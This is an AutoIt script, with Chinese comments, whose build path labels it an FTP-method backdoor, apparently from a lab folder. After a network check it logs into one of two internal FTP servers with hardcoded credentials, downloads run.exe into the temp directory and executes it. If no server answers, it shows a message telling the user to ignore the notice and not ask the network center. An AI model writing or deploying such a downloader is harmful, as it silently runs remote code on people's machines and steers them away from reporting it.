#region ;**** 参数创建于 ACNWrapper_GUI ****
#AutoIt3Wrapper_icon=I:\临时\后门\FTP方式后门\实验室1\FTP下载运行.exe|-1
#AutoIt3Wrapper_Compression=4
#AutoIt3Wrapper_UseUpx=n
#endregion ;**** 参数创建于 ACNWrapper_GUI ****
#include <FTPEx.au3>
;~ $server1变量用作FTP服务器地址--------------------------------
Local $server1 = "10.1.56.101"
Local $server2 = "10.1.56.220"
;~ ----------------------------------------------------------
;~ $ip变量用作检测是否连接到网络的指标------------------------------
Local $ip = "10.1.56.100"
;~ ------------------------------------------------------------------
;~ Sleep(10000)
ToolTip("开始网络连接测试", 0, 0)
link()
ToolTip("结束网络连接测试", 0, 0)
Sleep(30000)
Select
Case ping_($server1) = 1
ToolTip("开始使用101下载", 0, 0)
If Ftp($server1, "21", "run", "admin") = 0 Then
Sleep(30000)
Ftp($server1, "21", "run", "admin")
EndIf
Case ping_($server2) = 1
ToolTip("开始使用220下载", 0, 0)
If Ftp($server2, "21", "run", "admin") = 0 Then
Sleep(30000)
Ftp($server2, "21", "run", "admin")
EndIf
Case Else
MsgBox(0, "run网络未发现", "您若看到这条信息请点击确定将其忽略,此信息对用户无意义请勿向网管中心询问。")
EndSelect
Func ping_($server)
;~ 功能:检测PIng是否可用
;~ 用法:ping_(需要检测的IP地址)
Local $var = Ping($server)
If $var Then
;~ MsgBox(0,"状态-成功","收发时间间隔:" & $var & "毫秒")
Return 1
Else
;~ MsgBox(0,"状态-失败","错误代码:" & @error)
Return 0
EndIf
EndFunc ;==>ping_
Func Ftp($server, $Port, $name, $pass)
;~ 功能:使用FTP协议下载并运行一个文件
;~ 用法:ftp(服务器地址,端口,用户名,密码)
$Open = _FTP_Open('MyFTP') ;打开一个FTP会话
$Conn = _FTP_Connect($Open, $server, $name, $pass, 0, $Port) ;连接到ftp服务器
ToolTip("下载中", 0, 0)
$ftp_download = _FTP_FileGet($Conn, "\run.exe", @TempDir & "\run.exe", False) ;下载文件(True=覆盖 False=不覆盖(默认))
;~ MsgBox(0,"下载",$Ftp_download)
$Ftpc = _FTP_Close($Open) ;关闭 _FTP_Open 打开的回话
Sleep(1000)
If $ftp_download = 0 Then
MsgBox(0, "错误", "FTP文件下载失败", 10)
Return 0
Else
Run(@TempDir & "\run.exe")
Return 1
EndIf
EndFunc ;==>Ftp
Func link()
;~ 功能:检测是否连接到网络
;~ 用法:这是一个关卡,如果连接到网络就会立即通过,如果没有就是大约持续30秒的时间把。
Local $timer = 0
Local $valve = 7000
While $timer <= 100
If ping_($server1) = 1 Then $timer += 100
If ping_($server2) = 1 Then $timer += 100
If ping_($ip) = 1 Then $timer += 100
$timer += 5
$valve -= 1000
If $valve < 1 Then $valve = 1
Sleep(500 + $valve)
ToolTip("结束网络连接中阀值为:" & $timer, 0, 0)
WEnd
EndFunc ;==>link